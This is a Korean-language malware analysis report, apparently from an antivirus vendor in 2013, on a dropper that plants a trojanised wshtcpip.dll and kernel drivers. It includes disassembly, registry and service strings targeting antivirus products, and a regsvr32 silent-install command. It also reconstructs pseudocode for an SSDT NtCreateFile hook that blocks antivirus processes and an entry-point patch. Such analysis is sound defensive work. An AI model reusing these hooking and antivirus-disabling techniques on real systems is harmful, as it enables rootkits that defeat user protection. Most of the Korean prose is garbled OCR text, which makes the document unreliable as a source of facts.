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[2013H 07& 01 ~ 20134 07€ 31¢]

29 gAE T {CRE o
1 t6  Gen:Trojan.Heur.GM.8500010002 Trojan 3,957
2 New  Trojan.Generic.5663343 Trojan 2,671
3 New  Gen:Trojan.Heur2.RP.fCXbaCV3gqfO Trojan 2,362
4 {2 Gen:Variant. Adware.Graftor.Elzob.19694 Etc 2,255
5 New  Gen:Variant.Graftor.101793 Etc 2,154
6 - Trojan.Rootkit.killav Trojan 2,022
7 16 Trojan.KillAV.sysdll Trojan 1,891
8 New  Gen:Trojan.Heurmu3@umRkOie Trojan 1,706
9 New  DeepScan:Generic.PWS.WoW.5900F3D0 Etc 1,681
10 New  Gen:Trojan.Heurmu3@uKSf0 Trojan 1,666
11 New  Trojan.Downloader.KorAdware.Dat Trojan 1,644
12 111 DeepScan:Generic.Lineage.6CF79FA4 Etc 1,581
13 New  Gen:Trojan.Heurmu3@uuyb@wb Trojan 1,570
14 New  DeepScan:Generic.PWS.WoW.50806E2 Etc 1,525
15 {3 Trojan.Dropper.OnlineGames.wsxp Trojan 1472

XA ST, ADE AFBRS] ZUSAHE BHrStel MBS 29IY

4% AdHdIE Top 15= AFEXA PCOIM EX|E AHIAEES 7|82 LhEsh SAYLCH
7O 4 A HdAE TOP 150|A = XS 72|E XXM E Gen:Trojan.Heur.GM.85000100020]| 6
AT ASBI0] MEH 192 AFX|SFAUSLICH LA Gen:Trojan.Heur.GM.85000100022 2 &EfX|
Cle AdHdIES % ALEAL PCE HGAZ = S4X7F HRE ot 3848 E& 7| AE
HEE ErFsle AdHdIAE=EQLCE 29E XX Trojan.Generic.5663343 A= & H7E =
5| WAC oIMTAC 2N AME D, SHMHO M&si0] TAHX} oTt MYQAMIC T2
OHELIOl 5)2 =7t TIREESH: HEQ| TIREH Y LT
HHHC=Z 780z |F7IAMES0| BHUCM AN Xt SOSU2Lt OT5| B2 4
Of sty Qo ANYEE ale AHICT OichedeS QAXStD A™YYEE za|of &2
2ot FO|E J|20of gL ct

-
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m E Z20|=0t (Trojan)
m AT}H0[9) Of (Spyware)
H O EQ O (Adware)
B F 2™ (Exploit)
E 2 (Worm)
£=ol50t m 7|E} (Etc)
B & O] (Backdoor)
B H}O|2{A (Virus)

&HO| XA (Hijacker)

mSAEMY (Host)

(Trojan)
70%
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O E || Of (Adware) m 9%
3L0| X7 (Hijacker) | B8
2 (Worm) 8%
%| ok (Exploit) | g .6-:&1
HFO| 2 A (Virus) | 8% e
&l &= O (Backdoor) 83//g
SAETA(Host) | 98
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201214 082 ~ 20131 072]
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[20124 08E ~ 20134 07¢]

201208 201209 201210 201211 201212 201301 201302 201303 201304 201305 201306 201307

=—o—Adware =—-Spyware = =&—Hijacker =>KeylLogger
=¥=Exploit =0—RAT =+=Trojan =\Worm
«===Backdoor =#=Downloader==Dropper  ===Misc
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1) 718
O|&xt =588EE EFIoH
olgq
=

INEAINRNE=N

1) o 7|2 BE

File name jpg2.exe
Size 193,714 (About 189KB)
CRC32 S5F5ADD3F

o o 3l eRES HdLEE BEF OtUntes o7t CHE SO g450] £0[7 SHA| T S g0l
2ol= A0| gle ety el PELUZ 2 QIC.

Beel27dcdafe0eB385f014505597245b_jpg2.exe (&

0000k FD 54 80 00 03 OO0 OO0 OO0 04 OO0 OO0 00 FF FF OO0 00 MZI.......... V. .
0010h:| B8 00 OO 00 OO 0O OO0 OO 40 OO 00 OO0 00 00 OO0 00 s @.......
0020h:| OO0 00 OO0 00 OO0 OO0 OO0 OO OO0 OO0 OO0 OO0 OO0 00 OO0 OO0 | ... e i nunnnn
0030h:| 38 39 38 32 31 34 33 37 00 OO0 00 OO0 EOQO 00 OO 00 89821437....4...
0040h:| OE 1F BA QOE 00 B4 05 CD 21 B8 01 4C CD 21 54 &8 ..o . Iy LitTh

0050h: &9 73 20 70 72 &F &7 72 &1 &D 20 &3 &1 6E 6E &F | is program canno
0060h:| 74 20 82 &5 20 72 75 6E 20 &9 6E 20 44 4F 53 20 t be run in DOS
0070h: 6D &F &4 &5 2E OD OD O&X 24 00 OO0 OO0 OO0 OO0 OO0 OO0  mode....5.......
0080h:| 74 36 86 &3 30 57 E8 30 30 57 E8 30 20 57 E8 30 tetcOWE00OWE00WED
00SCh: 4B 4B E4 30 34 57 EE8 30 EF 48 E3 30 38 57 EE 30 | EKd04We0 HA0BWEO
00A0h:| B2 4B E& 20 29 57 E8 30 S5F 48 E2 30 51 57 EB 30 *Ha0)Wed HI0QWEO
00BOh:| 30 57 ES 30 SF 57 E8 30 B3 S5F BL 30 21 57 EB 30 OWéO?WéOS_uG!WéO
00COh:| 3& 74 E3 20 37 57 E8 30 FT 51 EE 30 21 57 E8 30 AtADTWED-QIi01Wa0
00D0OR:| 52 &9 &3 &8 30 57 E8 30 00 OO0 00 OO0 OO0 OO OO 00 RichOWao........
O0EQOh:| S0 45 00 00 4C 01 04 00 FC 4C 8C eE 00 00 00 00 PE. .L.. .dLED. ...

00FOh:| OO0 00 OO OO0 EO 00 OF 01 OB O1 QOE 15 00 10 00 00 T
0100h:| OO0 00 OO OO0 OO0 00 OO0 OO0 3& &5 OC OO0 00 10 OO 00 cococccocB@cooocoe
0110h:| OO0 &0 ©O9 00 OO0 OO0 OO0 O1 OO0 10 00 OO0 00 02 00 00 e e e e s e
Eat B T A afn an a8 an o an oana an oA o an an a8 an an an an
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dH HE2 HXE A= HO|X|T MMo| O|F & LA 222 Y35 =%E £&20| §io
HOICE St o7(7HX[2t AHEH T2 HEHIF 2] UX|= ot EQICt
[ PEID v0.95 - =
File: |D:'WReversingMalware SampleWahnlab H22| SiE 223 Eae: J
Entrypaint: [000CE53A EP Section: | data ﬂ
File Offset: [0002CF3A FirstBytes: [558B,EC,83 | =]
Linker Info: |14.21 Subsystem: Win32 GUI ﬂ
Borland Delphi 3.0 (777) *
Multi Scan | Task\.l'iewerl Options | About Exit |
Section Viewer
MName V. Offset | V. Size R. Offset | R. Size Flags
Jdext 00001000 00099000 00000400 000Q04FD EQO000&0
.data 00054000 Q0020000 00000ADD 00020000 EQOQ0O0&0
JFErC 000CT000 00002000 0002DA00  0O0D14EC 40000040
reloc 000C9000 Q0003000 Q002F000 00000482 EQOQ0O0&0
Close
J2{L}, EntryPoint 29| ZEE AEEEH HOAst Lot oz HSO0= A|DLA7t OtH
2 golg = U, & = gle 0|59 ZEHEHE H3E 0| s 2t
Z2 4o EE2E oM Z2HEE7 22UX (2 ERe Ao HotE + S F=Oo|Ct
[c] CPU - main thread, modul
A1 ACEH i 8 L5 PUSH EBP
H1BACh538 8BEC MOU EBP.ESP
B1ACe53D 83EC 38 SUB ESP.38
818Ce548 1 PUSH ESI
B18C6541 47 INC EDI
A1@C6542 4F DEC EDI
A1@C6543 . EB 37 JHF SHORT Bee@2Vdc.B1@C65%7C
B18C6545 Al S5B66BACHL MOU EAX.DUWORD PTR DS: [<&kernell2.GetModuleHandlef>]
A18C654A Faé CLC
A1ACe54B . EB A3 JHF SHORT Bee®2Pdc.B1@C6558
B18Ce54D G2 1E1D REIN 1D1E
B18Ce558 gnBd6 MOU AL.BYTE PTR DS:[ESI]
A1@C6552 g4Cca TEST AL.AL
A1ACA554 « 1 84 JE SHORT BeefZ2Pdc.B@1B8C655A
B18C6556 3c 22 CMFP AL.22
B18C6558 ~ 7% F& JHZ SHORT 8eeB27dc.B818C654F
A1B@C655A afalss} ADD BYTE PTR DS:[EAK]1.AL
B1ACA55C afals5} ADD BYTE PTR DS:[EAXK]1.AL
B18C655E [615]0]0) ADD BYTE PTR DS:[EAX].AL
B18Ce5608 [6]5]0]E) ADD BYTE PIR DS:[EAX].AL
A1@C6562 afalss} ADD BYTE PTR DS:[EAK]1.AL
A1ACe564 afals5} ADD BYTE PTR DS:[EAXK]1.AL
B18C6566 [6]5]0]0) ADD BYTE PTR DS:[EAX].AL
A1ACARSARE | AAARA ADD _BYTE PTR DS:-TEAX1. AT,

g o|x| |7



Path File size Etc.
C:WWindowsWsystem32W | 11,392 EEJ (EX E£2Y9)
driversWt<Random1l>.sys | (11.1KB)
C:WWindowsWsystem32W | 29,632 Anti-AV £EZ|
driverstf<Random2>.sys | (28.9KB)
C:WWindowsWsystem32%W | 278,528 IEO| oI M
kakutk.dll (272KB)
CWWindowsWsystem32W | 73,728 IEQ| QI=™M
wshtcpip.dll (72KB)

@ kakutk.dll

g kakutk.dll Properties

General | File Hashes | Securty = Details

Property Value
Descripticn

File degscription  «aoc

Type Application extension
File wersion 1.0.01

Product name  wrv xiaoc

Product version 1,00, 1

Copyright Copyright 7 2013

Size 272 KB )

Date modified  2011-02-25 2= 2:30 = i O.I
Language Chinege (Simplified, China

Original filename

Hehe| mpHF(xiaocdi)it= CHE O[22 system320| EEE= AS =A™ =+ ULt o+
Aoz S=02 EAZO{N QUCh
= TOE FMEE S=0M S5t & dHIE2ZE FHEL:

Ho|x| | 8



Bl ALV WE 4 s g UoF @7t HOISE KM BEES

@ wshtcpip.dll
212} system32 0|5} ZAZ0| wshtcpip.dll O|2t= O|E9| =2 A|AH T0o| ZXfsHCt. 2Lt
O AMACo LA E|H, 7|=0 EXHE =2 wshtcpip.dllo] safemono.dll O|2t= 0|22

= Ws

£ safemono.dll Properties
i =1 —
' General | File Hashes | Smm J-'-l' =0 | =
Property Value
Description
File description  Windows Sockets Helper DLL
Type Application extension -

File wersion 5.1.2600.5512
Product name  Microsoft® Windows® Operating System
Product version 5.1.2600.5512

2 Microsoft Corporation. All ights reserv...
Size 159.0 KB
Date modfied  2008-04-14 2= 5:00

Language English {United States)
IOriginaIﬁIename wshtcpip.dll I | | kel =
A2t of

2|3, 3AXIE /= wshtepip.dlle] CiM SH o=z 0|2] XS] & HZE wshtcpip.dll oS

system32ZZ 20 HMdSiCt

& wshtcpip.dll Properties

| General I File Hashes M
Poeety.  Rgshtcpip.dll

Description
File descrption  Mndll
Type Application extension

File wersion 1.0.0.1
Product name  wrv Mndll

Product version 1,0, 0, 1

Copyright 7 2013

Size 720 KB - % O_I
Date modified  2013-07-08 5—# 3:1

Language Chinese (Simplfied, China) I
Original filename  Mndll.dll [=] =
2B 0|

T

ES Fsofl  copyright © by ESTzoft Corp. All rights resanved _
H|o[X] | 9



BB AlYece Wai 4 o= gXE UOF @7 HOKSE KM fEE

® <Randoml>.sys (82X 2£3)

£ 2eddb4f5.sys Properties

| General | File Hashes | Securty | Details |

Property Value
Description

File description

Type System file

File version

Product name
Product version

Size 111 KB
Date modfied  2013-07-08 2= 3:.08
Language

£l 52768173.sys Properties

| General | File Hashes | Securty | Detais |

Property Yalue
Description

File description

Type System file

File version

Product name
Product wersion

Size 289 KB
Date modified  2013-07-08 2% 518
Language

<Random2>.sys O} 2 <Randoml>.sys ot CHEH AHEHHMO=Z SIEC|AA0 LOFQICE

ESTsoft copyright © by ESTsoft Corp. Al rights reserved. HO|X| | 10



Q = FHY EZjo|H mYESL Service Control Manager 2 SoiA IIYHI SYUst 0|22z

MH|A SZO0| £/ AIZfEIC.

il Process Hacker [KGW-A7FSASE 737 AWKGW]

Hacker Miew Tools Users Help

“Z Refresh 2 Options | &8 Find Handles or DLLs =+ Systern Information | ] (&) 3
F'n:u::esses| Services |Netwu:|rk
Mame Nisnlay Marme Tune Statis Start Tune FID
Zeddbafh ceddbdth Driver Stopped Suto Start
& 52765173 RZTRA1T3 Driver Running Auto Start
o7 Bhinsdsk Bhinsdsk Driver Stopped Digabled
7 abpdaink abpdB0in5 Driver Stopped Disabled
= BCP Microsoft ACPI Driver Driver Running  Boot Start

<Randoml>.sys Ot (F}HO A= 2eddbsf5) AMHIACTE XxZ QIEE O SHHOF MSHE| )
<Random2>.sys WYL (2}HO|AM = 52768173) I 27t A|AHE O{OfCt AMEICE

2) QIE{Y YAZZ2{of DLL UMM
QI 2B 20| 2709 %4 DLLS QMM AJZICH

I3 Executable modules .

Base Ze Entry Name File version Path —
AR40PRAN | ABH? CHAA | BA4P1AZS | iexplore [§.08.6001 .18702 [C:\Program Files\Internet Explorer_
ABE?BBAN  pBPA?AAA  BBE?1782 (Normaliz |6.A.5441 .8 (winf C:\WINDOWSNsystem32\Normaliz.dll

812 DbBEaan | BB55BAAAE xpspZres (5.1.2688.5512 (3 C: \WINDOHS\system32\xpsp2res dll

A1 EARBAR | 0BR2NA00 | A1 EA1C88 | TEUI 8.080.6801 . 18702 -Coa LILMDOLIE 225 TTUT _JJ1

B2EVB800 | 08817880 @2ZE?D328 wshtcpip |1, @, 8, 1 -l G: \WINDOHS\S2stem32\wshth1§.d11 I
A329P0000 APR29800 | B329110A8 msls31 3.18.349.8 System ns s

834A0B00 | BE42000 | B34BA776 | Initechs (1, 1. B, 14 C:5\Frogram Files“\Initech~SHITP~InitechSHITPInterfa
A5C3PAARA (A1PR55800 | B63B5A1C |Flash3i2_|11.7,.7008.224 GC:NWINDOUE s y=tem32~Macromed Flash Flazh3i2_11_7_7al
7618000 | AEBA7E0A | B76133BD midimap |5.1.2688.5512 {3 C:\WINDOWS“system32smidimap.dll

ABEARAAR | AAR5 CRBA | ABB1 BES3 | aosmgr 2, B, A, 78 C:5PROGRA™1~AhnLab“~ASP~COMPON™1 “aosngr aosmgr . .ocx
PBEB6PBARD  APP11060 | @BBE6E2C2 MEUCIRT |7.8.2688.5512 (3 C:nWINDOWS system32~MSUCIRT .d11

PEBSPAPAR  APR15800 | ABBSD4C1 | B=32Ex 1, @, 8, 12 C: \PROGRH"1\HhnLah\ﬂSP\COHPON"i\aosmgr\Bz32Ex dll
BEBABBAN  APB2 3000 | BBBABGEA | U3HUNT 5. 5, 8, 4 osmgr~U3HUNT .d11
10PAPRAR | BP1AFEAA | 19A18CAS | kakutk 1, A4, 8, 1 C SUINDOWS wg stem32\kakutk dll

1BAAPBAN | AERACHAPA | 1BAAZ?FS | Imgltil |8.PAA.6AA1.1874 System mg

1E860800  AAHAENEA 1BA65306 (pngfilt |8.00.6801.18702 C \WINDOHS\system32\pngf11t -d1l

35C50000 | APB3908A | 35C54F5F | Dxtrans |8.00.6801 18702 | C:AWINDOWS \system3d2 Dxtrans.dll

35CBBBA0 | ABW5 7880 | 35CB52A2 Dxtmsft |8.00.6801.18702 | C:\WINDOWS \system32:\Dxtmsft.dll

3JAF3IP0A0 | 08P1CABA | 3AF3D73A | imekr?8 [7.A.8161 .8 C:NWINDOUENs ustem32nimekr 78 . ime

QBN Al7| DLLEIASO| 0|22 C+eit 2t

@ kakutk.dll

Dropper0j Al LtYZ B EZ[HA Of2{Q| regsvr32 7MEZE O|ESHA A|AH X|AEZ|0 DLL
= s=5A7A ECL

C:WWindowsWsystem32¥regsvr32.exe /s /c C:WWindowstsystem32Wkakutk.dll

MetA =20 QAEU AAEREE dHNZE B2 XAES22 EE FA &

Zo|x| | 11
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@ wshtcpip.dil (A|AE! I} HE)

M oZsiifE A= wshtepip.dll® safemonodll Ol2ts ImYE  HZAE|:D, 2HMDLLO]
wshtcpip.dil 0|2H= 0|28 X|i! = ChX|EC}

02rA IES ASHAIZ|H 24 wshtepip.dll Tt0| XtsHoz ZEJt |, 24| wshtcpip.dll
7|58 747l safemono.dil2 2 wshtepip.diit] Q|sjA EEE|H ZO{A 23HO| 7|50| HAXO
2 $35eE it

Ofgf= StudPEEZ MEHE A wshtcpip.dll T O| Export Table 2&0|C}

i Stud_PE editing : "wshtcpip.dil” - [32bit app] = =
File Edit Teocls Help

|d:Sreversinghmahuare samplehahnlab H22E B2 23208 Z2 [2)wshtcpip.dl

% Headers | % Do | @ Section: ™ Functions | e Flesources | 2 Signature | AFA I PI
Imported Functions E wported Functions

L]

W

< > < >
W Showimp ¢ OriginalFirstThurk & FirstT hunk Show Exp
Yigit Stud PE Forurn <- Mews Here | Test'it || Rvad=:Faw || File Eu:umpare| | 0K |

2019| wshtcpip.dll 7| 552 safemonodll2 ZT A|FHAM X2|stA st QUCH
IE7F MHE Mo ZeHMQl S22 ZHCHs| LIEILHE ™ of2fet ZtCt.

ot safemono.dll

£ :‘1 wshtepip.dll C:I: (A Bwshtepip.dil)

ESTsoft copyright © by ESTsoft Corp. Al rights reserved. Zo|x| | 12



3) W4l F&}
IEQt SHH AtEHo =2 ZEL|E= 2t wshtepip.dil2 Xt HoZ WAl T2 HA 3 YXAERES
YHMEE ot 7Is= 7t ALt of2f= o WS +AHS fIhAM F=Xots 2o ME=

of EAtES LIEtH ZOILC}.

referenced in wshicpip:.test

semhly Text string

40AHAHA UNICOD 1

wshtcpip.ABAF2AC4 ASCII |'SoftwaressMicrosof t sWindows s \CurrentUersion™ Run''
wshtepip.ABAF2ABR4 ASCII auerlUaccine

wshtcpip. @BAFZAAC ASCII @

wshtcpip.BBAF2AB4 ASCII |_-||0| |:|-| HH A|

wshtcpip.BBAF2AAG AscII | 1=

wehtonin. BAAF2AAG ASCIT NClsans

wshtepip. 4 " .
ushtcpip. BBAFZAS4 ASCII [AhnLab U3Lite Tray Process" ?_|'E=|'|| V3 Lite
wshtcp:i.p.EBﬂF2ﬂﬂC ASCII 71 s

wshtcpip.ABAF2A84 bl 3Lite Tray Process"

wshtcpip. BBAF2AYC OFOE

wshtepip. BBAF2ZAAC EERE — e |

wshtcpip.BBAFZ2AYC

ushtepip. BBAF2A78 ASCII m -

CERChly s e e TP 7]

wshtepip. . "

weshtepip. ABAF2A44 ASCII "SYSTEM““CurrentControlSet *Services U3 Lite Service'
wehtopin. BBAFIAAC ASCIT "rfeuren

wshtcpip. " wa'

wshtcpip. ABAF2ARE ASCII "S'x'STEH\\CurPentCuntruISet\\SePu1(:&3\ ALYac_RTS»u™
wehtonin. BARFZARC ASCIT o3 Teuen

weshtecpip. " we''

wshtcpip.ABAF29D8 ASCII "SYSTEM\NCurrentControlSet ~Services vALYac_ UpdSrv''
CereehiE ey sscit nageteey

wshtcpip. SN INNwes

wshtepip.ABAF22AC ASCII "SYSTEM\“CurrentControlSet:“Services “HNsavsuvc"
CoicE by sy oseit nsgeraey

wshtcpip. AN TNN\E

wshtcpip.ABAF298A ASCII "SYSTEM:N\CurrentControlSet:\»Services““Nsumon"'
Coiecair sy Bfeit Mesgeteoy

wshtepip. AT INNee

wshtcpip.ABAF2958 ASCII "SYSTEM~“CurrentControlSet~“Services““Naver Updater"
wshtcp:i.p.EBHF2ﬂ3B ASCII "ImagePath"

(wshtcpip. BBAF2AAC ASCII "\h??\\zs" "

. 16600 URTGODE -

ot <Random2>.sys g EZjO|Hf I A7 AIZE Mot 2E &[=0, i
| -

cto[H & #iilo] FHSIE fIA OF 7HX| S At&st QUtt

@ NtCreateFile &

Index | Fun Mame | Current Enkry Hook, | Original Entry | Module
37 MtCreateFis DxB34E020L ssdk hook. DxB5057B0AZ CWINDOWS sy stern32 WidriversTS2 765173, 5ys
T Mol HAO|L mUS H2ES QoA T HAX= FEIO| HE2| NtCreateFile O|C}. i
in

Tt Native APIZ SZs{A] BHAIT} RIS DO XYL D= HEZ A|ZICH

Otel= ==l SSDTO| 2 &O0|LC}.

80506548 B86644bab nt!NtCreateDebugObject
8050654c 805cB4ed nt!NtCreateDirectoryObject
60506550 866110b0 nt!NtCreateEvent

80506554 806193fa nt!NtCreateEventPair

.8586553 h34eB2Bl 52768173+0x1261

c aaot nt!NtCreateloCompletion
3&5&6569 BBBd?ﬁﬁd nt!NtCreateJobObject
80506564 B805d739c nt!NtCreatelobSet
60506568 ©86062623a nt!NtCreateKey
8050656c  8657b1b0 nt!NtCreateMailslotFile

Zo|x| | 13



i AlYsc Qo 7t HOMEEF KM §EHE

NtCreateFileQ| 2 &4+Z E£AMsjA Pseudo codeES ZHMs| HQtT, 1742 ofzjet Zct.

NTSTATUS NewZwCreateFile(

_Out_ PHANDLE FileHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_opt_ PLARGE_INTEGER AllocationSize,
_In_ ULONG FileAttributes,
_In_ ULONG ShareAccess,
_In_ ULONG CreateDisposition,
_In_ ULONG CreateOptions,
_In_opt_ PVOID EaBuffer,
_In_ ULONG EaLength
)
{
ANSI_STRING AnsiString = {0,};
PCHAR lpszFileWillBeOpened = NULL;
PEPROCESS CurrentProcess = NULL;
CHAR 1pszBuffer[16] = {0,};
PCHAR CurProcessName = NULL;
//
/1 M LESHHL = ool Z=E JHM2CLt.
//
RtlUnicodeStringToAnsiString(&AnsiString, ObjectAttributes->ObjectName, TRUE);
lpszFileWillBeOpened = (PCHAR)ExAllocatePool(NonPagedPool, AnsiString.Length + 1);
strncpy(lpszFileWillBeOpened, AnsiString.Buffer, AnsiString.Length);
//
// X DLL, EXE, SYS, ayeL}¥S Y2{l S}=X| OISt}
//
if ( strstr(lpszFileWillBeOpened, ".d11") ||
strstr(lpszFileWillBeOpened, ".sys") ||
strstr(lpszFileWillBeOpened, ".exe") ||
strstr(lpszFileWillBeOpened, ".aye") )
{
CurrentProcess = PsGetCurrentProcess();
if ( CurrentProcess )
{
//
/7 A Z= Mo oojX| oY O] S Tt
//
CurProcessName = PsGetProcessImageFileName(CurrentProcess);
if ( CurProcessName )
{
strncpy(lpszBuffer, CurProcessName, 16);
_strlwr(lpszBuffer);
//
[/ Al 2 TR MAQIX] MATHCL. (Of2f 47§ T2 MA2(0= O BO|
A=)
//
if ( !strcmp(lpszBuffer, "v3ltray.exe") ||
Istrcmp(1lpszBuffer, "avp.exe") ||
Istrcmp(1pszBuffer, "v3svc.exe") ||
Istrcmp(lpszBuffer, "mysfty.exe") )
{
return STATUS_ACCESS_DENIED;
¥
¥
¥
¥
return OldZwCreateFile (
FileHandle,
DesiredAccess,
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ObjectAttributes,
IoStatusBlock,
AllocationSize,
FileAttributes,
ShareAccess,
CreateDisposition,
CreateOptions,
EaBuffer,

EaLength

)5

- RE ZEN2E ¥e=2 oM oixf ofmet oo Mt Sh=X| M3 sHot

- erofoj DLLSYSEXE So| PERFQIO| HIst2{1 SHCiH, OfF m2=AA7 PEDIUO| M2

St Sh=X| HAretch

- hoFof HiAl R mRMA2tH 2

mjo

A A ZICE

@ Load image notify routine callback 2] S&
MSRZR£ A% mo| Hezlof 2= o, ZEJ2iH7t 0| YOrKHE == JUAT 7| Il
X LoadImageNotifyRoutine Callback @ =& XN|&3%tCt.
S CHAl 2A, SEC|AZ0|A OfHet PELYO| 2E ZO{MM HZ2|0of S27t{d & I, =
E32§M 7t LoadlmageNotifyRoutine CallbackE SEA|ZAELEM, 1 w0 Hz22|0f Skt

S ApAE Fop 4 9T, ST MU0 MUHo2 MHET| Mol €ots H2E §F 4 UCk
B4 Elo| SE2 of2f APIE S3iA 0| 0{TICH

MTSTATUS PsSetloadImagebotifyRoutine(
_In_  PLOAD IMAGE MNOTIFY ROUTINE NotifyRoutine
¥

g o|x| | 15




AlYac Yol 7t OIS HILH BHS

PLOAD_IMAGE_NOTIFY_ROUTINE ZSHst0| HEf= Of2iet ZCt

VOID
(*PLOAD IMAGE NOTIFY ROUTINE)(
__in opt PUNICODE STRING FullImageName,
__1in HANDLE ProcessId,
__in PIMAGE INFO Imagelnfo

)5

Ofgf= MEE= eIAtof ot ZhErel AFOICt

Processid Sffe olo

FulllmageName 2L &34 St O[0|X| Mol NP2
X HYg REAZ|E Z2MHAQ D

|
Imagelnfo 2C glaD ote 0|0jX| MY AE HHE LI Q= XN

PIMAGE_INFO #Z=H= O|O|X| L+A0f| Ciet o9 7tX| ZYEE 1 A= of2fet 2Lt

typedef struct IMAGE INFO {

union {
ULONG Properties;
struct {
ULONG ImagelddressingMode : 8; //code addressing mode
ULONG SystemModeImage :1; f/system mode image
ULONG ImageMappedToAllPids : 1; //mapped in all processes
ULONG Reserved 1 22;
ti
¥

PVOID ImageBase;

ULONG ImageSelector;

ULONG ImageSize;

ULONG ImageSectionhumber;
} IMAGE INFO, *PIMAGE INFO;

2L E|g{1d St o|O|X| mto| ImageBase, ImageSize S2 7Y 2HO|A LOotd £ QC}.
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0] #HEd R EZI2 LoadlmageNotify CallbackS SEA|ZSEZM 2= PELfUQ M= ZHA|st
QACE THOFO| MME|2{= PELMAO| Hidlo] Fzut 2T E SHAXMOl PEOIUO|2IH ST HHmed
o MHEX| RPHE ZE WS FWstD = HXE S

otzf= {2 AYAgentaye 229O| EntryPoint O|Ct. HAMO|ZIH Y H&E20| %x(x=2 AMT|OX
Of BhC}.
ElEVrl (e ] RETH
AA42D273 AYAgent .<ModuleEntruPoint> | % E2 ABB40000 CALL AYAgent.BB43D818 |
BR43D37D 3 3BOD" 28704500 CMP ECX DWORD PTR DS : [457828 1
o QFOEO : . :
B043D383 Hilf Zoro EntryPoint | 7, 75 a2 JHZ SHORT AYAgent.B043D387

O2{Lp YOFS ASHA|7|H EntryPoint7} Ox433EAOE HZAE|A E|O{MAM 1 250 HXY AL
A =2, sid F20= ool oj2] X|sfE JMPRETL MAUE|OH AO0A, dHIE K22l F

o

INT3
LETZ
. JHP_06150000
- S:TECE+457A28 1 _AH
BR433EAD . 33c4 g OF
PA433EAD . 898424 98020000 = E|' J J-l|'|5':|5| 2 oFo| EntryPoint
PA433ER4 . 33ce
PA433ER6 . 68 P6A2P0A0 PUSH 2066
PA433EBB . 5@ PUSH EAX
PA433EBC . 8D4c24 @A LEA ECY.DUORD PTB SS:[ESP+A1
AA433ECA . 51 PUSH ECH
PA433EC1 . 66:894424 AC MOU WORD PTR §S§:[ESP+C1,.AY
AA433ECH . ES 1B9FAAAA GALL <JMP.&MSUCR9@.menset >
PA433ECE . 8B3424 20020000 MOU EAX¥.DUORD PTR SS:[ESP+2201
AA433ED2 . 83c4 AC ADD ESP.AC
PA433ED5 . 83E8 @1 SUB EAX.1
PA433EDS .. AF85 EAAAAAAA JNZ AYAgent.PA433FBE
A

% HYE StA =T ExitProcess & 2ESHA H1, A= Y42 T 1 HOE =Xt 4H E[X|
St

o
F=EA Ect

I4 Call stack of main thread

Addresz |Stack = 2 y Called from Frame LS
Ba12F730 |YCYED19E Eazhe ntdll.ZwTerminateProcess I kernel32 PCYED199 B012F828 | -
BA12F82C | 2C?ED21E | T Kerne . kernel132 _7C?ED2192 AA12F828 | —
AA12F840 | BA1525A07 |7 kernel32.ExitProcess AA152581 AA12F83C
BA12F96A BA152627 7 AB152471 A812F95C
AA12F?80 | BA150ADF 7 BA155720 [BBiEEEDH aa12F7Cc

O|ZA E|= 0|]GE YolE7| A #HYE FEZIO| ImageNotifyRoutine CallbackS AHEH, H

=
ZEl EntryPoint0] JIMPEZEE I{X|St= FEIZ L = UL
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8l AlYec QoF @7t HOLEE HIA §EHES

h34df50d Saldes dl,byte ptr [eax+ecx] ds:0023:a51d7969=e9
b34df510 8811 mov byte ptr [ecx],dl

b34df512 41 inc ecx = = e =

b34df513 de dec esi Z|AIN ZEE fjX[5l= FE
b34df514 75f7 jne 52768173+0x50d (b34df56d)

A AETF 2dEE AEMM HXAES JEE BT Oeiet ZL.

1: kd> r .
cax=adda3ae9 ebx=Ffdlc15h [ecx=00433ea0] ANLADEHEIVS 2V EFdofond R RinEE 5
eip=b34df50d esp=a51d790c ebp=a51d/bed iopl=0 nv up el ng nz na po nc
cs=0088 ss=0010 ds=0023 es=0023. fs= 8 gs=00680 efl=00000282
52768173+0x50d:

b34df50d 8ald40d - Y [eax+ecx] ds:0023:a51d7989=e9
1t kd> db a5ld7980 O]2]" |'?_‘|0|T]'=h 5Tﬂf6'|

a51d7969 |e9 5b cl dl ff|00 00 06-00 O 59 41 765 Llieinannss AYAge

ab1d7999 6e 74 2e 61 79 65 00 00-00 BH BB BB 06 00 00 60 nt.aye ..........
ab1d79%9a9 06 66 66 60 00 00 60 6OG-066 60 60 0O 6O 0O 66 60 ...[............
ab1d79b9 ©6 00 66 00 00 00 00 0O-00 OO PO OO 0O 0O 0O 6O .El.?ll. uikﬂ-&
ab1d79c9 ©0 o0 66 00 00 00 00 66-06 60 0O OO 6O OO 66 680 ... .U . ...,
a51d79d9 06 60 60 60 00 00 00 6O-00 00 60 00 00 00 00 00 Grop-.-eee----
a51d79e9 06 00 00 00 60 00 OGO 00-00 OO OO 0O 60 00 00 @0 .= ...........
ab1d79f9 ©6 ee 66 o6 60 60 60 66-066 60 6O OO 6O OO OO B0 ................

ECX0ll= o|0| HZEl EntryPoint7t =0{Q!0, 0xA51D7989 &YYo O|2| IMPZEE OrHS|FRALE
Jdg|d HZEE EntryPointd] IMPZE O{X|E &SI}
Ofzi= JMP AEJ} T§X|E|7| O|MQ| HIZEl EntryPointe| R&0|Ck

1: kd> u 06x433eab

OLLYDBG 9inl Themida!Animate+8x23cd:

0433eall GlecBfcO20000 sub esp, 20Ch |

00433eab al23704500 mov eax,dword ptr [OLLYDBG 9inl Themida!Painttable+(
00433eab 33c4 Xor eax,esp

00433ead 89542408020000 mov dword ptr [esp+208h],eax
00433eb4d 33co Xor eax,eax

80433eb6 6306620000 push  206h o X|g| 7] O|HMe| B &
00433ebb 50 push eax

00433ebc 8d4c240a lea ecx, [esp+0Al
Ofgfj= HZEl EntryPoint @40 JMP R EJL IfX|E|0 F O]9 R&O|C}
1: kd> u 8x433eab

OLLYDBG 9inl Themida!Animate+8x23c8:

00433eall e95bcldlff jmp 00150000

00433ead> BBal2c/04500 add byte ptr OLLYDBG 9inl Themida!Painttable+@x11
00433eab 33c4 Xor eax,esp

00433ead 59642405020000 mov dword ptr [esp+208h],eax
080433ebd 33cB Xor eax,eax

00433eb6 6306020000 push 206h | X|El 0|9 2 &
80433ebb 50 push eax

08433ebc 8d4c240a lea ecx,[esp+BAhH

9lo| Wl H|TH Qropmto] ObLl, ERAb HAEO| #A GUIQIEHOAZ 7k Z2IHoll 52
B mUS0| MWH U HEEHA HCt

metM, 2aHo 2 WMils HY¥A7|2 D sje OfF & WSxXt EO|X| =C
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His

